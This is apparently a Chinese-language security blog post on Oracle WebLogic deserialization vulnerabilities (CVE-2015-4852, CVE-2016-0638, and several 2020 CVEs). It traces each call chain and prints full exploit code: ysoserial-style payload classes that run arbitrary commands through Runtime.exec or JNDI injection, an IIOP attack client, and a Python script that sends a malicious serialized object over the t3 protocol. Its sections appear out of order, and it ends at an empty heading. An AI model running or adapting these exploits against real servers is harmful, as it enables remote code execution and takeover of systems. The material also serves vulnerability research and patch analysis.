跟进support.realize,首先在58行获取了RemoteConstructor的m_definition字段,然后进行注册。这个字段就是我们设置的恶意类的定义信息

image-20211106220144357

紧接着,在64行调用了this.defineClass,将恶意类的定义信息传入

image-20211106220410672

在86行调用了重载的defineClass,准备加载我们的恶意类

image-20211106220504062

加载完之后就返回了,回到RemotableSupport::realize方法中,继续执行definition.createInstance,看名字就能猜到,这是准备创建恶意类的对象了。

image-20211106220629941

跟进去看一下,确实如此。这里获取了构造方法然后调用构造方法创建对象。

image-20211106220647962

在创建对象过程中就会触发类的初始化,静态代码块得到执行,也就是触发了任意代码执行。

漏洞利用

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import weblogic.cluster.singleton.ClusterMasterRemote;
import ysoserial.payloads.ObjectPayload;
import java.rmi.RemoteException;

public class CVE_2020_14644 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ClassIdentity classIdentity = new ClassIdentity(RemotePayload.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(RemotePayload.class.getName());
        ctClass.replaceClassName(RemotePayload.class.getName(), RemotePayload.class.getName() + "$" + classIdentity.getVersion());
        StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {");
        for (int i = 0; i < command.length; i++) {
            stringBuilder.append("\"");
            stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
            stringBuilder.append("\"");
            if (i != command.length - 1) {
                stringBuilder.append(",");
            }
        }
        stringBuilder.append("}");
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString());
        ctClass.makeClassInitializer().insertAfter(cmd);
        RemoteConstructor constructor = new RemoteConstructor(
            new ClassDefinition(classIdentity, ctClass.toBytecode()),
            new Object[]{}
        );
        return constructor;
    }

    public static class RemotePayload implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {

        @Override
        public RemoteConstructor getRemoteConstructor() {
            return null;
        }

        @Override
        public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

        }

        @Override
        public void setServerLocation(String s, String s1) throws RemoteException {

        }

        @Override
        public String getServerLocation(String s) throws RemoteException {
            return null;
        }
    }
}

CVE-2020-14645

原理

这个洞跟2883的前半段是一样的,使用了ExtractorComparator+PriorityQueue的组合,然后往priorityqueue中塞入JdbcRowSetImpl对象,通过UniversalExtractor::extract来反射调用JdbcRowSetImpl::getDatabaseMetaData,然后触发了JNDI注入

来看看这个UniversalExtractor的extract方法,oTarget就是priorityqueue中我们设置的元素,即JdbcRowSetImpl对象。然后由于this.m_cacheTarget为null,我们进入到了75行,调用extractComplex

image-20211104210213359

extractComplex方法会反射找到指定的方法进行调用,这里我们构造的时候指定了方法是getDatabaseMetaData,那么就会调用这个方法。

image-20211104210930995

最后给出完整的调用栈

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

拓展

那么既然这个UniversalExtractor的extract能调用方法,那么除了JNDI还有没有别的利用思路呢?

笔者进行了如下尝试,直接执行Runtime.exec()

UniversalExtractor extractor = new UniversalExtractor("exec()", new Object[]{command}, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

Runtime object = Runtime.getRuntime();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{object, object};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
return queue;

一运行,结果发现直接报错了,原因也很简单,Runtime类没有实现Serializable接口,没法序列化,很傻逼的尝试。

紧接着,笔者注意到这个UniversalExtractor类实际上是有一个m_aoParam字段的,难道是保存函数参数的?又看了看反射调用方法的入参,确实是将m_aoParam字段传入了方法。

image-20211104213445356

那么是不是意味着方法参数可控?

紧接着笔者自己写了个类进行测试

import java.io.IOException;
import java.io.Serializable;

public class MyProcessBuilderAdapter implements Serializable {
    public void doSome(String[] args) throws IOException {
        Runtime.getRuntime().exec(args);
    }
}

构造poc如下

UniversalExtractor extractor = new UniversalExtractor("doSome()", new Object[]{command}, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

MyProcessBuilderAdapter object = new MyProcessBuilderAdapter();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{object, object};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
return queue;

一运行,再次报错

image-20211104213700188

debug看看报错原因,发现问题出在了187行,sCName为null,空指针异常

image-20211104213827199

往上看sCName的获取流程,看它为什么为null,跟进getCanonicalName

image-20211104213931448

跟进getValueExtractorCanonicalName,由于UniversalExtractor不是AbstractRemotableLambda的子类,直接返回null

image-20211104214023647

再跟进CanonicalNames.computeValueExtractorCanonicalName

image-20211104214043164

发现,如果aoParam长度大于0,则直接返回空。

image-20211104214116169

那么这下就知道原因了,看来UniversalExtractor虽然可以控制执行函数,但是没法指定参数。等等,还有这里,我们前面分析的都是extractComplex函数里的逻辑。现在跳出这个函数,直接看extract,如果m_cacheTarget可控,是不是就可以直接执行方法了

image-20211104214256412

然而,这个字段是transient修饰的,而且writeExternal在序列化时也并没有将这个字段写入序列化数据中,于是就此作罢。

image-20211104214450801

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;

public class CVE_2020_14645 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
        final ExtractorComparator comparator = new ExtractorComparator(extractor);

        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setDataSourceName(command[0]);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{rowSet, rowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);
        return queue;
    }
}

CVE-2020-14756

原理

这个CVE,为了调用到extractor的extract方法可以说是大费了一番心思。通过前面很长一串的调用链,才最终抵达了extract方法。而到了extract方法之后,后面的流程就比较固定化了。

在分析这个CVE的时候,我们将重点关注从反序列化开始到extract方法调用这一段调用栈。

首先,CVE选择的反序列化入口是AttributeHolder对象,先跟进这个对象的readExternal方法(readExternal和readObject的区别参看之前发的weblogic古老漏洞梳理

image-20211105230732148

这个方法继续调用了重载的方法

image-20211105230750354

在重载方法中调用了ExternalizableHelper.readObject,跟进

image-20211105230819370

继续跟进readObject的重载方法

image-20211105230844592

这里这个三目运算符的条件判断为假,进入到readObjectInternal,在这个方法中,如果AttributeHolder对象的m_oValue字段实现了ExternalizableLite接口,则会进入case 10分支。这条链子在构造的时候将m_oValue设置成了TopNAggregator.PartialResult对象,它实现了ExternalizableLite接口,因此进入了case 10分支。

image-20211105231511946

紧接着,由于in是InboundMsgAbbrev$ServerChannelInputStream类型,不是PofInputStream的子类,于是直接进入到else逻辑,1070行进行了类加载,加载TopNAggregator.PartialResult类(即前面m_oValue指定的类),然后通过反射创建了对象。可以看到,创建对象这里没有任何的防御措施。

image-20211106141638903

继续跟进,在1077行调用了TopNAggregator.PartialResult对象的readExternal方法。首先在180行先调用了一次ExternalizableHelper.readObject,目的是反序列化comparator,这里的comparator既是我们构造时设置的MvelExtractor,在它的extract方法中能够执行恶意代码

image-20211106143141938

紧接着,在182行将comparator设置到了treemap中,跟进instantiateInternalMap方法

image-20211106143313741

回到TopNAggregator.PartialResult的readExternal方法中来,下面开始向treemap中添加元素。

image-20211106143713271

跟进add方法,我们在构造exp的时候将m_cMaxSize设置成2,当前大小为0,所以满足if条件,进入169行

image-20211106143722162

调用treemap.put

image-20211106143820376

在put过程中(省略若干不重要的步骤)最后在WrapperComparator的compare方法中会调用到f_comparator的compare方法,这里的f_comparator就是我们前面提到的MvelExtractor。

image-20211106144459764

由于MvelExtractor没有compare方法,于是会去父类中找,然后就到了我们熟悉的AbstractExtractor::compare,这个方法在2883中见到过,会触发extract的调用。

image-20211106144512130

前面说了MvelExtractor的extract方法能触发代码执行,执行我们指定的恶意代码。到这里这条链子就基本上跟完了。最后贴出完整的调用栈。

exec:617, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getMethod:1119, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
getMethod:1002, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
compileGetChain:396, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
optimizeAccessor:163, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
optimizeAccessor:80, DynamicOptimizer (com.tangosol.coherence.mvel2.optimizers.dynamic)
optimize:159, ASTNode (com.tangosol.coherence.mvel2.ast)
getReducedValueAccelerated:115, ASTNode (com.tangosol.coherence.mvel2.ast)
execute:85, MVELRuntime (com.tangosol.coherence.mvel2)
getDirectValue:123, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
getValue:119, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
getValue:113, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
executeExpression:953, MVEL (com.tangosol.coherence.mvel2)
extract:100, MvelExtractor (com.tangosol.coherence.rest.util.extractor)
compare:143, AbstractExtractor (com.tangosol.util.extractor)
compare:416, SortedBag$WrapperComparator (com.tangosol.util)
compare:1295, TreeMap (java.util)
put:538, TreeMap (java.util)
add:152, SortedBag (com.tangosol.util)
add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)
readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)
readObject:2606, ExternalizableHelper (com.tangosol.util)
readObject:2583, ExternalizableHelper (com.tangosol.util)
readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)
readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)
readExternalData:2076, ObjectInputStream (java.io)
readOrdinaryObject:2025, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class CVE_2020_14756 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {");
        for (int i = 0; i < command.length; i++) {
            stringBuilder.append("\"");
            stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
            stringBuilder.append("\"");
            if (i != command.length - 1) {
                stringBuilder.append(",");
            }
        }
        stringBuilder.append("}");
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString());
        MvelExtractor extractor = new MvelExtractor(cmd);
        MvelExtractor extractor2 = new MvelExtractor("");
        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
        AttributeHolder attributeHolder = new AttributeHolder();
        sortedBag.add(1);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);
        return attributeHolder;
    }
}

CVE-2020-14825

原理

这个漏洞前半段调用栈跟2883是相同的,来对比一下,左边是14825,右边是2883。

image-20211106161000685

到了后半段,14825选择了LockVersionExtractor

image-20211106162312485

LockVersionExtractor.extract首先调用了this.accessor.initializeAttributes,然后再调用了this.accessor.getAttributeValueFromObject。这里我们在构造poc的时候,选择使用MethodAttributeAccessor这个accessor。先看看this.accessor.initializeAttributes干了什么,发现它调用了this.setGetMethod(Helper.getDeclaredMethod(theJavaClass, this.getGetMethodName(), getParameterTypes));

image-20211106162732010

setGetMethod就是普通的set方法,给getMethod字段赋值,那么赋值成什么,就得看看Helper.getDeclaredMethod返回什么了

image-20211106163127547

跟进Helper.getDeclaredMethod,这个方法的第一个参数javaClass是JdbcRowSetImpl的class对象,第二个methodName是getDatabaseMetaData字符串。这两个参数是哪里来的?methodName很简单,就是从accessor的getMethodName字段获取的。而javaClass就是priorityqueue中的元素对应的class对象,我们在写poc时向prioritqueue中塞一个JdbcRowSetImpl对象,那么这里javaClass就是JdbcRowSetImpl对应的class对象。

image-20211106163143956

if条件不满足,进入到else分支,跟进PrivilegedAccessHelper.getMethod,这里实际上就是通过反射获取了getDatabaseMetaData方法

image-20211106163825214

到这里函数调用就开始逐层返回,this.accessor.initializeAttributes方法调用完毕,回到extract方法中。

image-20211106163949614

继续调用了this.accessor.getAttributeValueFromObject

image-20211106161727114

继续调用重载方法,在这个重载方法中利用反射调用了JdbcRowSetImpl::getDatabaseMetaData触发了JDNI注入,这里的getMethod就是前面在this.accessor.initializeAttributes过程中通过反射获取到然后再调用setGetMethod设置好的。

image-20211106161841499

由于这里我们只能控制invoke的第一个参数,第二个默认为null,只能调用无参的方法,所以利用思路非常有限。如果可以控制invoke的第二个参数的话,那可能就不止JDNI注入这一种打法了。到这里这条链子就基本结束了,给出完整调用栈。

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getAttributeValueFromObject:82, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:51, LockVersionExtractor (oracle.eclipselink.coherence.integrated.internal.cache)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;

public class CVE_2020_14825 implements ObjectPayload<Object> {
    public Object getObject(String... command) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("r2");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");
        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName(command[0]);

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
        Reflections.setFieldValue(queue,"size",2);

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;
        return queue;
    }
}

CVE-2020-14841

这个编号网上没有找到很详细的分析,网上给出的poc与14825是一样的。但是根据官方描述来看,这个CVE应该是通过IIOP协议进行攻击的,于是我就将14825的poc生成的恶意对象通过IIOP协议发送进行攻击,结果是成功触发了漏洞。于是猜测14841大概就是14825的链,不过需要通过IIOP协议触发。

原理

原理参考14825

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_14841 implements ObjectPayload<Object> {
    public Object getObject(String... command) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName(command[0]);
        MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
        methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
        methodAttributeAccessor.setIsWriteOnly(true);
        methodAttributeAccessor.setAttributeName("r2");
        LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "r2");

        final ExtractorComparator comparator = new ExtractorComparator(extractor);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);

        Field comparatorF = queue.getClass().getDeclaredField("comparator");
        comparatorF.setAccessible(true);
        comparatorF.set(queue, new ExtractorComparator(extractor));
        return queue;
    }

}
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.weblogic.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class IIOPAttack {
    static String rhost="iiop://localhost:7005";

    public static void main(String[] args) throws Exception{
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);

        ObjectPayload payload = new CVE_2020_14841();
        Object object = payload.getObject("{恶意ldap服务}");
        context.rebind("r2"+System.nanoTime(), object);
    }
}

CVE-2020-14882&CVE-2020-14883

CVE-2020-14882是一个未授权访问漏洞,14883是一个rce漏洞,但是需要授权。二者合起来就组成了一个未授权RCE。

这个漏洞与之前分析的不同,它不属于反序列化漏洞,漏洞利用涉及到非常多框架的核心源码,要对框架比较熟悉才能掌握,感觉挖这种洞难度也相对来说更大。

这里对这个漏洞不进行分析,原因有二,一是网上有一篇分析得很详细的文章,二就是我觉得我的分析不会写的比他更好了,所以就不写了。

总结

按照协议分

t3:CVE-2020-2883、CVE-2020-14645、CVE-2020-14756、CVE-2020-14825

IIOP:CVE-2020-2551、CVE-2020-14841、CVE-2020-14644

http:CVE-2020-14882、CVE-2020-14883

按攻击类型分

JNDI:CVE-2020-2551、CVE-2020-14645、CVE-2020-14825、CVE-2020-14841

直接RCE:CVE-2020-2883、CVE-2020-14756 、CVE-2020-14644、CVE-2020-14883

权限绕过:CVE-2020-14882

参考文章

Weblogic CVE-2020-2551 IIOP协议反序列化RCE

CVE-2020-2883:Weblogic反序列化

Weblogic CVE-2020-14645

WebLogic CVE-2020-14756 T3/IIOP 反序列化RCE

CVE-2020-14825:Weblogic反序列化漏洞复现

CVE-2020-14882:Weblogic Console 权限绕过深入解析

Weblogic CVE 漏洞总结

前言

原本七八月就打算学weblogic,但是总有种莫名的力量好像在阻止我学它,然后就跑去学别的框架漏洞了。这段时间发现没啥好学的,然后又想起还有weblogic这块硬骨头没啃,就跑来填坑了。

t3协议

在研究weblogic t3反序列化漏洞之前,需要先了解一下t3协议。t3协议是weblogic定制的一种协议,它专门用来为weblogic rmi提供支持。weblogic rmi与java原生提供的rmi的对比图如下,这张图非常清晰的给出了java rmi、weblogic rmi、JRMP、t3之间的关系,摘自这篇文章,同时推荐一下这篇文章,研究weblogic之前先学学这篇文章可以打下很好的基础。

image-20211102225749855

来看看weblogic rmi过程传输的数据格式,图片同样摘自这篇文章

image-20211102230311998

image-20211102230329646

仔细分析一下握手后发送的第一个数据包。可以得到t3协议的基本格式,自上往下分别是

  • 数据包长度(4字节)
  • t3协议头
  • 序列化对象魔术头(fe 01 00 00)
  • 序列化数据
  • 序列化数据魔术头(fe 01 00 00)
  • 序列化数据

image-20211102230440054

了解完t3协议格式之后,我们就可以使用socket编程,按照t3协议发送我们自定义的数据。我们将序列化数据部分更换为恶意gadget,即可触发反序列化漏洞。

CVE-2015-4852

这个洞非常古老,也非常直白。在了解完t3协议之后基本就可以实现攻击。

原理

readObject:343, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

漏洞利用的过程实际上就是构造了一个t3协议格式的数据包,里面包含着反序列化gadget。靶机收到后对数据进行反序列化,触发漏洞。

poc.obj使用ysoserial进行生成,使用CommonCollections1的gadget即可。这个版本的weblogic自带了cc依赖。

import socket
import struct
import re
import binascii
def get_payload(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data=b""
    while True:
        try:
            data += sock.recv(1024)
        except:
            break
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)
    print(payload)

if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    payload = get_payload("poc.obj")
    exp(host, port, payload)

修复

补丁:2016年1月 p21984589_1036_Generic

修复手段就是在InboundMsgAbbrev.ServerChannelInputStream::resolveClass中引入了黑名单类过滤

CVE-2016-0638

原理

在经历了2016年1月 p21984589_1036_Generic这个补丁之后,直接传反序列化gadget行不通了。需要采用一点绕过技巧。这个CVE使用了weblogic.jms.common.StreamMessageImpl这个类进行绕过。在正式分析这个CVE之前,需要先了解一下Externalizable接口。

Externalizable接口

Externalizable接口定义了两个方法:writeExternalreadExternal方法。readExternal方法与readObject有相同之处,它们俩都会在对象被反序列化时被调用。对应的,也存在writeExternal方法,与readObject类似,在对象序列化时被调用。readExternal方法的优先级比readObject高,如果同时出现,则反序列化时会调用readExternal,而不会调用readObject。在ObjectInputStream::readOrdinaryObject中可以看出,优先判断反序列化的类是否实现了Externalizable接口,如果实现了,则调用readExternalData,在这个方法中调用了反序列化对象的readExternal方法。如果没实现,则调用readSerialData,在这个方法中调用了对象的readObject方法。

image-20211103104322997

无论是readObject还是readExternal为用户提供的都是自定义反序列化的能力,通过重写二者之一,就可以按照用户自己的方式将对象进行反序列化(要与序列化过程相对应)

漏洞原理

CVE-2015-4852之后,官方的修复是在InboundMsgAbbrev.ServerChannelInputStream::resolveClass中引入了黑名单类过滤。而weblogic.jms.common.StreamMessageImpl类不在黑名单中,因此可以尝试去反序列化这个类。这个类实现了Externalizable接口,同时实现了readExternal方法自定义了反序列化的流程。

image-20211103111742560

那么我们只需要根据它反序列化的流程,反过来构造一个序列化数据就行了。注意到864行调用了ObjectInputStream::readObject,而且这里的ObjectInputStream是new出来的,完全不受InboundMsgAbbrev.ServerChannelInputStream::resolveClass黑名单的影响。

根据readExternal,自定义一个weblogic.jms.common.StreamMessageImpl类,自己实现writeExternal。主要就四步,其中第1、2步都可以在readExternal找到对应,第3步是与readExternal的856行调用的函数内部的readInt对应,第4步与readExternal的864行对应。

public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {
    super.writeExternal(paramObjectOutput);//1
    paramObjectOutput.writeByte(1);//2
    paramObjectOutput.writeInt(getDataSize());//3
    paramObjectOutput.write(getDataBuffer());//4
}

漏洞利用

poc与CVE-2015-4852相同,只需要把payload.obj换成序列化的恶意weblogic.jms.common.StreamMessageImpl对象即可

import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.InvocationHandler;

public class CVE_2016_0638  implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        CommonsCollections1 commonsCollections1 = new CommonsCollections1();
        InvocationHandler object = commonsCollections1.getObject(command);
        byte[] serialize = Serializer.serialize(object);
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(serialize, serialize.length);
        return streamMessage;
    }


}

修复

补丁:2016年4月p22505423_1036_Generic

修复手段就是原来weblogic.jms.common.StreamMessageImpl858行创建的ObjectInputStream换成了自定义的FilteringObjectInputStream,并在其中对类进行了过滤,这里偷两张图

image-20211103121530068

image-20211103121542915

CVE-2016-3510

原理

